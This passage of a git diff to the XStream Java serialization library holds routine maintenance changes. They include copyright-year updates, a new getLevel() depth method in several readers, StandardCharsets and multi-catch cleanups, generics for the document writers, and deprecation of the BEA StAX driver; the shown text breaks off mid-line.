    @@ -231,5 +242,4 @@ public String get(final long id) {
                 }
             }
         }
    -
     }
    diff --git a/xstream/src/java/com/thoughtworks/xstream/io/binary/ReaderDepthState.java b/xstream/src/java/com/thoughtworks/xstream/io/binary/ReaderDepthState.java
    index 9026b21db..e34f6a7c7 100644
    --- a/xstream/src/java/com/thoughtworks/xstream/io/binary/ReaderDepthState.java
    +++ b/xstream/src/java/com/thoughtworks/xstream/io/binary/ReaderDepthState.java
    @@ -1,6 +1,6 @@
     /*
      * Copyright (C) 2006 Joe Walnes.
    - * Copyright (C) 2006, 2007, 2014, 2015 XStream Committers.
    + * Copyright (C) 2006, 2007, 2014, 2015, 2018 XStream Committers.
      * All rights reserved.
      *
      * The software in this package is published under the terms of the BSD
    @@ -33,6 +33,7 @@ private static class State {
             List attributes;
             boolean hasMoreChildren;
             State parent;
    +        int level;
         }
     
         private static class Attribute {
    @@ -45,6 +46,7 @@ private static class Attribute {
         public void push() {
             final State newState = new State();
             newState.parent = current;
    +        newState.level = getLevel() + 1;
             current = newState;
         }
     
    @@ -52,6 +54,10 @@ public void pop() {
             current = current.parent;
         }
     
    +    public int getLevel() {
    +        return current != null ? current.level : 0;
    +    }
    +
         public String getName() {
             return current.name;
         }
    diff --git a/xstream/src/java/com/thoughtworks/xstream/io/binary/Token.java b/xstream/src/java/com/thoughtworks/xstream/io/binary/Token.java
    index c13c61eb8..93a899aaf 100644
    --- a/xstream/src/java/com/thoughtworks/xstream/io/binary/Token.java
    +++ b/xstream/src/java/com/thoughtworks/xstream/io/binary/Token.java
    @@ -1,6 +1,6 @@
     /*
      * Copyright (C) 2006 Joe Walnes.
    - * Copyright (C) 2006, 2007, 2009, 2013, 2014 XStream Committers.
    + * Copyright (C) 2006, 2007, 2009, 2013, 2014, 2020 XStream Committers.
      * All rights reserved.
      *
      * The software in this package is published under the terms of the BSD
    @@ -14,6 +14,7 @@
     import java.io.DataInput;
     import java.io.DataOutput;
     import java.io.IOException;
    +import java.nio.charset.StandardCharsets;
     
     import com.thoughtworks.xstream.io.StreamException;
     
    @@ -134,7 +135,7 @@ protected void writeId(final DataOutput out, final long id, final byte idType) t
         }
     
         protected void writeString(final DataOutput out, final String string) throws IOException {
    -        final byte[] bytes = string.length() > MAX_UTF8_LENGTH / 4 ? string.getBytes("utf-8") : new byte[0];
    +        final byte[] bytes = string.length() > MAX_UTF8_LENGTH / 4 ? string.getBytes(StandardCharsets.UTF_8) : new byte[0];
             final int length = bytes.length;
             if (length <= MAX_UTF8_LENGTH) {
                 out.writeUTF(string);
    @@ -168,7 +169,7 @@ protected String readString(final DataInput in) throws IOException {
             final int size = in.readInt();
             final byte[] bytes = new byte[size];
             in.readFully(bytes);
    -        return new String(bytes, "utf-8");
    +        return new String(bytes, StandardCharsets.UTF_8);
         }
     
         public static class Formatter {
    diff --git a/xstream/src/java/com/thoughtworks/xstream/io/json/JettisonMappedXmlDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/json/JettisonMappedXmlDriver.java
    index 0fa525fca..a6e7a183c 100644
    --- a/xstream/src/java/com/thoughtworks/xstream/io/json/JettisonMappedXmlDriver.java
    +++ b/xstream/src/java/com/thoughtworks/xstream/io/json/JettisonMappedXmlDriver.java
    @@ -1,11 +1,11 @@
     /*
    - * Copyright (c) 2007, 2008, 2009, 2010, 2011, 2013, 2014 XStream Committers.
    + * Copyright (c) 2007, 2008, 2009, 2010, 2011, 2013, 2014, 2018, 2020, 2024 XStream Committers.
      * All rights reserved.
      *
      * The software in this package is published under the terms of the BSD
      * style license a copy of which has been included with this distribution in
      * the LICENSE.txt file.
    - * 
    + *
      * Created on 30. March 2007 by Joerg Schaible
      */
     package com.thoughtworks.xstream.io.json;
    @@ -36,8 +36,9 @@
     
     
     /**
    - * Simple XStream driver wrapping Jettison's Mapped reader and writer. Serializes object from and to JSON.
    - * 
    + * Simple XStream driver wrapping Jettison's Mapped reader and writer. Serializes object from and to JSON. Use exactly
    + * Jettison 1.2 or at least 1.4.1. Versions in between are not compatible.
    + *
      * @author Dejan Bosanac
      */
     public class JettisonMappedXmlDriver extends AbstractDriver {
    @@ -51,12 +52,15 @@ public class JettisonMappedXmlDriver extends AbstractDriver {
          * Construct a JettisonMappedXmlDriver.
          */
         public JettisonMappedXmlDriver() {
    -        this(new Configuration());
    +        this(null);
         }
     
         /**
          * Construct a JettisonMappedXmlDriver with configuration.
    -     * 
    +     * 

    + * Note, you should turn off Jettison's root element array wrapper. + *

    + * * @param config the Jettison configuration */ public JettisonMappedXmlDriver(final Configuration config) { @@ -67,15 +71,20 @@ public JettisonMappedXmlDriver(final Configuration config) { * Construct a JettisonMappedXmlDriver with configuration. *

    * This constructor has been added by special request of Jettison users to support JSON generated by older Jettison - * versions. if the driver is setup to ignore the XStream hints for JSON arrays, there is neither support from - * XStream's side nor are there any tests to ensure this mode. + * versions. If the driver is setup to ignore the XStream hints for JSON arrays, there is neither support from + * XStream's side nor are there any tests to ensure this mode. You should also turn off Jettison's root element + * wrapper. *

    - * - * @param config the Jettison configuration + * + * @param config the Jettison configuration or null for XStream's defaults * @param useSerializeAsArray flag to use XStream's hints for collections and arrays * @since 1.4 */ - public JettisonMappedXmlDriver(final Configuration config, final boolean useSerializeAsArray) { + public JettisonMappedXmlDriver(Configuration config, final boolean useSerializeAsArray) { + if (config == null) { + config = new Configuration(); + config.setRootElementArrayWrapper(false); + } mof = new MappedXMLOutputFactory(config); mif = new MappedXMLInputFactory(config); convention = new MappedNamespaceConvention(config); @@ -107,9 +116,7 @@ public HierarchicalStreamReader createReader(final URL in) { instream = in.openStream(); return new StaxReader(new QNameMap(), mif.createXMLStreamReader(in.toExternalForm(), instream), getNameCoder()); - } catch (final XMLStreamException e) { - throw new StreamException(e); - } catch (final IOException e) { + } catch (final XMLStreamException | IOException e) { throw new StreamException(e); } finally { if (instream != null) { @@ -129,9 +136,7 @@ public HierarchicalStreamReader createReader(final File in) { instream = new FileInputStream(in); return new StaxReader(new QNameMap(), mif.createXMLStreamReader(in.toURI().toASCIIString(), instream), getNameCoder()); - } catch (final XMLStreamException e) { - throw new StreamException(e); - } catch (final IOException e) { + } catch (final XMLStreamException | IOException e) { throw new StreamException(e); } finally { if (instream != null) { diff --git a/xstream/src/java/com/thoughtworks/xstream/io/json/JettisonStaxWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/json/JettisonStaxWriter.java index 6900fb630..53c2a950c 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/json/JettisonStaxWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/json/JettisonStaxWriter.java @@ -1,16 +1,19 @@ /* - * Copyright (c) 2008, 2009, 2010, 2011, 2014 XStream Committers. + * Copyright (c) 2008, 2009, 2010, 2011, 2014, 2018, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 17.04.2008 by Joerg Schaible. */ package com.thoughtworks.xstream.io.json; +import java.util.ArrayDeque; +import java.util.ArrayList; import java.util.Collection; +import java.util.Deque; import java.util.Map; import javax.xml.namespace.QName; @@ -28,13 +31,14 @@ /** * A specialized {@link StaxWriter} that makes usage of internal functionality of Jettison. - * + * * @author Jörg Schaible * @since 1.3.1 */ public class JettisonStaxWriter extends StaxWriter { private final MappedNamespaceConvention convention; + private final Deque stack = new ArrayDeque<>(); /** * @since 1.4 @@ -56,13 +60,15 @@ public JettisonStaxWriter( public JettisonStaxWriter( final QNameMap qnameMap, final XMLStreamWriter out, final boolean writeEnclosingDocument, final boolean namespaceRepairingMode, final XmlFriendlyReplacer replacer, - final MappedNamespaceConvention convention) throws XMLStreamException { + final MappedNamespaceConvention convention) + throws XMLStreamException { this(qnameMap, out, writeEnclosingDocument, namespaceRepairingMode, (NameCoder)replacer, convention); } public JettisonStaxWriter( final QNameMap qnameMap, final XMLStreamWriter out, final boolean writeEnclosingDocument, - final boolean namespaceRepairingMode, final MappedNamespaceConvention convention) throws XMLStreamException { + final boolean namespaceRepairingMode, final MappedNamespaceConvention convention) + throws XMLStreamException { super(qnameMap, out, writeEnclosingDocument, namespaceRepairingMode); this.convention = convention; } @@ -79,7 +85,8 @@ public JettisonStaxWriter( */ public JettisonStaxWriter( final QNameMap qnameMap, final XMLStreamWriter out, final NameCoder nameCoder, - final MappedNamespaceConvention convention) throws XMLStreamException { + final MappedNamespaceConvention convention) + throws XMLStreamException { super(qnameMap, out, nameCoder); this.convention = convention; } @@ -87,18 +94,36 @@ public JettisonStaxWriter( @Override public void startNode(final String name, final Class clazz) { final XMLStreamWriter out = getXMLStreamWriter(); + String key = ""; if (clazz != null && out instanceof AbstractXMLStreamWriter) { if (Collection.class.isAssignableFrom(clazz) || Map.class.isAssignableFrom(clazz) || clazz.isArray()) { final QName qname = getQNameMap().getQName(encodeNode(name)); final String prefix = qname.getPrefix(); final String uri = qname.getNamespaceURI(); - final String key = convention.createKey(prefix, uri, qname.getLocalPart()); - if (!((AbstractXMLStreamWriter)out).getSerializedAsArrays().contains(key)) { - // Typo is in the API of Jettison ... - ((AbstractXMLStreamWriter)out).seriliazeAsArray(key); - } + key = convention.createKey(prefix, uri, qname.getLocalPart()); } } - startNode(name); + stack.push(key); + super.startNode(name); + } + + @Override + public void startNode(final String name) { + startNode(name, null); + } + + @Override + public void endNode() { + final String key = stack.pop(); + if (key.length() == 0) + super.endNode(); + else { + final XMLStreamWriter out = getXMLStreamWriter(); + @SuppressWarnings("unchecked") + final ArrayList serializedAsArrays = ((AbstractXMLStreamWriter)out).getSerializedAsArrays(); + serializedAsArrays.add(key); + super.endNode(); + serializedAsArrays.remove(key); + } } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/json/JsonHierarchicalStreamDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/json/JsonHierarchicalStreamDriver.java index d6629a2e3..186e007fb 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/json/JsonHierarchicalStreamDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/json/JsonHierarchicalStreamDriver.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2011, 2014, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -16,14 +16,13 @@ import java.io.OutputStream; import java.io.OutputStreamWriter; import java.io.Reader; -import java.io.UnsupportedEncodingException; import java.io.Writer; import java.net.URL; +import java.nio.charset.StandardCharsets; import com.thoughtworks.xstream.io.AbstractDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; -import com.thoughtworks.xstream.io.StreamException; import com.thoughtworks.xstream.io.naming.NameCoder; @@ -82,12 +81,8 @@ public HierarchicalStreamWriter createWriter(final Writer out) { @Override public HierarchicalStreamWriter createWriter(final OutputStream out) { - try { - // JSON spec requires UTF-8 - return createWriter(new OutputStreamWriter(out, "UTF-8")); - } catch (final UnsupportedEncodingException e) { - throw new StreamException(e); - } + // JSON spec requires UTF-8 + return createWriter(new OutputStreamWriter(out, StandardCharsets.UTF_8)); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/naming/StaticNameCoder.java b/xstream/src/java/com/thoughtworks/xstream/io/naming/StaticNameCoder.java index d2e2cfcee..9a3256c57 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/naming/StaticNameCoder.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/naming/StaticNameCoder.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2009, 2011, 2014, 2015, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -19,7 +19,7 @@ *

    * The provided map should contain a mapping between the name of the Java type or field to the proper element in the * target format. If a name cannot be found in the map, it is assumed not to be mapped at all. Note that the values of - * the map should be unique also, otherwise the decoding will produce wrong results. + * the map should be unique also, otherwise the decoding is undefined and will produce wrong results. *

    * * @author Jörg Schaible diff --git a/xstream/src/java/com/thoughtworks/xstream/io/path/PathTracker.java b/xstream/src/java/com/thoughtworks/xstream/io/path/PathTracker.java index 93a1f619a..5e7223d1e 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/path/PathTracker.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/path/PathTracker.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -85,9 +85,9 @@ public void pushElement(final String name) { indexMapStack[pointer] = indexMap; } if (indexMap.containsKey(name)) { - indexMap.put(name, new Integer(indexMap.get(name).intValue() + 1)); + indexMap.put(name, Integer.valueOf(indexMap.get(name).intValue() + 1)); } else { - indexMap.put(name, new Integer(1)); + indexMap.put(name, Integer.valueOf(1)); } pointer++; currentPath = null; diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractDocumentReader.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractDocumentReader.java index 7217ffdcf..240421248 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractDocumentReader.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractDocumentReader.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -85,6 +85,11 @@ public void moveDown() { reassignCurrentElement(current); } + @Override + public int getLevel() { + return pointers.size(); + } + @Override public void appendErrors(final ErrorWriter errorWriter) { } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractDocumentWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractDocumentWriter.java index 771d7e8c8..c01af9b4e 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractDocumentWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractDocumentWriter.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 18. October 2007 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; @@ -22,24 +22,24 @@ * implementation manages a list of top level DOM nodes. Every time the last node is closed on the node stack, the next * started node is added to the list. This list can be retrieved using the {@link DocumentWriter#getTopLevelNodes()} * method. - * + * * @author Laurent Bihanic * @author Jörg Schaible * @since 1.2.1 */ -public abstract class AbstractDocumentWriter extends AbstractXmlWriter implements DocumentWriter { +public abstract class AbstractDocumentWriter extends AbstractXmlWriter implements DocumentWriter { - private final List result = new ArrayList<>(); - private final FastStack nodeStack = new FastStack<>(16); + private final List result = new ArrayList<>(); + private final FastStack nodeStack = new FastStack<>(16); /** * Constructs an AbstractDocumentWriter. - * + * * @param container the top level container for the nodes to create (may be null) * @param nameCoder the object that creates XML-friendly names * @since 1.4 */ - public AbstractDocumentWriter(final Object container, final NameCoder nameCoder) { + public AbstractDocumentWriter(final R container, final NameCoder nameCoder) { super(nameCoder); if (container != null) { nodeStack.push(container); @@ -49,37 +49,37 @@ public AbstractDocumentWriter(final Object container, final NameCoder nameCoder) /** * Constructs an AbstractDocumentWriter. - * + * * @param container the top level container for the nodes to create (may be null) * @param replacer the object that creates XML-friendly names * @since 1.2.1 * @deprecated As of 1.4 use {@link AbstractDocumentWriter#AbstractDocumentWriter(Object, NameCoder)} instead. */ @Deprecated - public AbstractDocumentWriter(final Object container, final XmlFriendlyReplacer replacer) { + public AbstractDocumentWriter(final R container, final XmlFriendlyReplacer replacer) { this(container, (NameCoder)replacer); } @Override public final void startNode(final String name) { - final Object node = createNode(name); + final E node = createNode(name); nodeStack.push(node); } /** * Create a node. The provided node name is not yet XML friendly. If {@link #getCurrent()} returns null * the node is a top level node. - * + * * @param name the node name * @return the new node * @since 1.2.1 */ - protected abstract Object createNode(String name); + protected abstract E createNode(String name); @Override public final void endNode() { endNodeInternally(); - final Object node = nodeStack.pop(); + final R node = nodeStack.pop(); if (nodeStack.size() == 0) { result.add(node); } @@ -87,7 +87,7 @@ public final void endNode() { /** * Called when a node ends. Hook for derived implementations. - * + * * @since 1.2.1 */ public void endNodeInternally() { @@ -96,12 +96,12 @@ public void endNodeInternally() { /** * @since 1.2.1 */ - protected final Object getCurrent() { + protected final R getCurrent() { return nodeStack.peek(); } @Override - public List getTopLevelNodes() { + public List getTopLevelNodes() { return result; } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractPullReader.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractPullReader.java index 6fa3bfa3e..5f8dfc16e 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractPullReader.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractPullReader.java @@ -117,6 +117,11 @@ public void moveUp() { } } + @Override + public int getLevel() { + return elementStack.size(); + } + private void move() { final Event event = readEvent(); pool.push(event); diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractXppDomDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractXppDomDriver.java index 9e91e89ac..309e8466d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractXppDomDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractXppDomDriver.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2009, 2011, 2014, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -54,13 +54,12 @@ public HierarchicalStreamReader createReader(final Reader in) { final XmlPullParser parser = createParser(); parser.setInput(in); return new XppDomReader(XppDom.build(parser), getNameCoder()); - } catch (final XmlPullParserException e) { - throw new StreamException(e); - } catch (final IOException e) { + } catch (final XmlPullParserException | IOException e) { throw new StreamException(e); } } + @SuppressWarnings("resource") @Override public HierarchicalStreamReader createReader(final InputStream in) { try { diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractXppDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractXppDriver.java index 3454267f9..a5d53603d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractXppDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/AbstractXppDriver.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2009, 2011, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -56,6 +56,7 @@ public HierarchicalStreamReader createReader(final Reader in) { } } + @SuppressWarnings("resource") @Override public HierarchicalStreamReader createReader(final InputStream in) { try { diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/BEAStaxDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/BEAStaxDriver.java index ef1af5cba..600bb2fe9 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/BEAStaxDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/BEAStaxDriver.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2009, 2011, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -23,9 +23,16 @@ * * @author Jörg Schaible * @since 1.4 + * @deprecated As of 1.4.11 use {@link StandardStaxDriver} or {@link WstxDriver} instead. BEA StAX implementation is outdated, + * unmaintained and has security issues. */ +@Deprecated public class BEAStaxDriver extends StaxDriver { + /** + * @deprecated As of 1.4.11 use {@link StandardStaxDriver} or {@link WstxDriver} instead. + */ +@Deprecated public BEAStaxDriver() { super(); } @@ -40,11 +47,17 @@ public BEAStaxDriver(final QNameMap qnameMap, final XmlFriendlyNameCoder nameCod /** * @since 1.4.6 + * @deprecated As of 1.4.11 use {@link StandardStaxDriver} or {@link WstxDriver} instead. */ + @Deprecated public BEAStaxDriver(final QNameMap qnameMap, final NameCoder nameCoder) { super(qnameMap, nameCoder); } + /** + * @deprecated As of 1.4.11 use {@link StandardStaxDriver} or {@link WstxDriver} instead. + */ + @Deprecated public BEAStaxDriver(final QNameMap qnameMap) { super(qnameMap); } @@ -59,7 +72,9 @@ public BEAStaxDriver(final XmlFriendlyNameCoder nameCoder) { /** * @since 1.4.6 + * @deprecated As of 1.4.11 use {@link StandardStaxDriver} or {@link WstxDriver} instead. */ + @Deprecated public BEAStaxDriver(final NameCoder nameCoder) { super(nameCoder); } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/DocumentWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/DocumentWriter.java index 7f458b884..5339ec11d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/DocumentWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/DocumentWriter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -21,7 +21,7 @@ * @author Jörg Schaible * @since 1.2.1 */ -public interface DocumentWriter extends HierarchicalStreamWriter { +public interface DocumentWriter extends HierarchicalStreamWriter { /** * Retrieve a {@link List} with the top elements. @@ -35,5 +35,5 @@ public interface DocumentWriter extends HierarchicalStreamWriter { * @return a {@link List} with top nodes * @since 1.2.1 */ - List getTopLevelNodes(); + List getTopLevelNodes(); } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JDriver.java index 7533f3dd6..e3c50459a 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JDriver.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -19,6 +19,7 @@ import java.io.Reader; import java.io.Writer; import java.net.URL; +import java.nio.charset.Charset; import org.dom4j.Document; import org.dom4j.DocumentException; @@ -58,7 +59,8 @@ public Dom4JDriver(final DocumentFactory documentFactory, final OutputFormat out /** * @since 1.4 */ - public Dom4JDriver(final DocumentFactory documentFactory, final OutputFormat outputFormat, final NameCoder nameCoder) { + public Dom4JDriver( + final DocumentFactory documentFactory, final OutputFormat outputFormat, final NameCoder nameCoder) { super(nameCoder); this.documentFactory = documentFactory; this.outputFormat = outputFormat; @@ -70,7 +72,8 @@ public Dom4JDriver(final DocumentFactory documentFactory, final OutputFormat out */ @Deprecated public Dom4JDriver( - final DocumentFactory documentFactory, final OutputFormat outputFormat, final XmlFriendlyReplacer replacer) { + final DocumentFactory documentFactory, final OutputFormat outputFormat, + final XmlFriendlyReplacer replacer) { this(documentFactory, outputFormat, (NameCoder)replacer); } @@ -149,9 +152,12 @@ public void close() { return writer[0]; } + @SuppressWarnings("resource") @Override public HierarchicalStreamWriter createWriter(final OutputStream out) { - final Writer writer = new OutputStreamWriter(out); + final String encoding = getOutputFormat() != null ? getOutputFormat().getEncoding() : null; + final Charset charset = encoding != null && Charset.isSupported(encoding) ? Charset.forName(encoding) : null; + final Writer writer = charset != null ? new OutputStreamWriter(out, charset) : new OutputStreamWriter(out); return createWriter(writer); } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JReader.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JReader.java index 5bf2f6e07..a54729050 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JReader.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JReader.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -13,6 +13,7 @@ import java.util.List; +import org.dom4j.Branch; import org.dom4j.Document; import org.dom4j.Element; @@ -24,6 +25,13 @@ public class Dom4JReader extends AbstractDocumentReader { private Element currentElement; + /** + * @since 1.4.11 + */ + public Dom4JReader(final Branch branch) { + this(branch instanceof Element ? (Element)branch : ((Document)branch).getRootElement()); + } + public Dom4JReader(final Element rootElement) { this(rootElement, new XmlFriendlyNameCoder()); } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JWriter.java index 235aeb2bd..f4262cc0d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JWriter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -18,7 +18,7 @@ import com.thoughtworks.xstream.io.naming.NameCoder; -public class Dom4JWriter extends AbstractDocumentWriter { +public class Dom4JWriter extends AbstractDocumentWriter { private final DocumentFactory documentFactory; @@ -90,7 +90,7 @@ public Dom4JWriter() { } @Override - protected Object createNode(final String name) { + protected Element createNode(final String name) { final Element element = documentFactory.createElement(encodeNode(name)); final Branch top = top(); if (top != null) { @@ -110,6 +110,6 @@ public void addAttribute(final String key, final String value) { } private Branch top() { - return (Branch)getCurrent(); + return getCurrent(); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JXmlWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JXmlWriter.java index 068153181..e0a7f3ff6 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JXmlWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/Dom4JXmlWriter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015, 2016, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -109,9 +109,7 @@ public void endNode() { startElement(); writer.endElement("", "", elementStack.pop()); } - } catch (final SAXException e) { - throw new StreamException(e); - } catch (final IOException e) { + } catch (final SAXException | IOException e) { throw new StreamException(e); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/DomDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/DomDriver.java index dddb7f3a9..bbd9ad6d8 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/DomDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/DomDriver.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -108,13 +108,7 @@ private HierarchicalStreamReader createReader(final InputSource source) { } final Document document = documentBuilder.parse(source); return new DomReader(document, getNameCoder()); - } catch (final FactoryConfigurationError e) { - throw new StreamException(e); - } catch (final ParserConfigurationException e) { - throw new StreamException(e); - } catch (final SAXException e) { - throw new StreamException(e); - } catch (final IOException e) { + } catch (final FactoryConfigurationError | ParserConfigurationException | SAXException | IOException e) { throw new StreamException(e); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/DomReader.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/DomReader.java index daff7e4d9..37a5fe9f4 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/DomReader.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/DomReader.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015, 2023 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; @@ -21,6 +21,7 @@ import org.w3c.dom.NodeList; import org.w3c.dom.Text; +import com.thoughtworks.xstream.core.util.FastStack; import com.thoughtworks.xstream.io.naming.NameCoder; @@ -29,6 +30,7 @@ public class DomReader extends AbstractDocumentReader { private Element currentElement; private final StringBuilder textBuffer; private List childElements; + private final FastStack> childrenStack; public DomReader(final Element rootElement) { this(rootElement, new XmlFriendlyNameCoder()); @@ -44,6 +46,8 @@ public DomReader(final Document document) { public DomReader(final Element rootElement, final NameCoder nameCoder) { super(rootElement, nameCoder); textBuffer = new 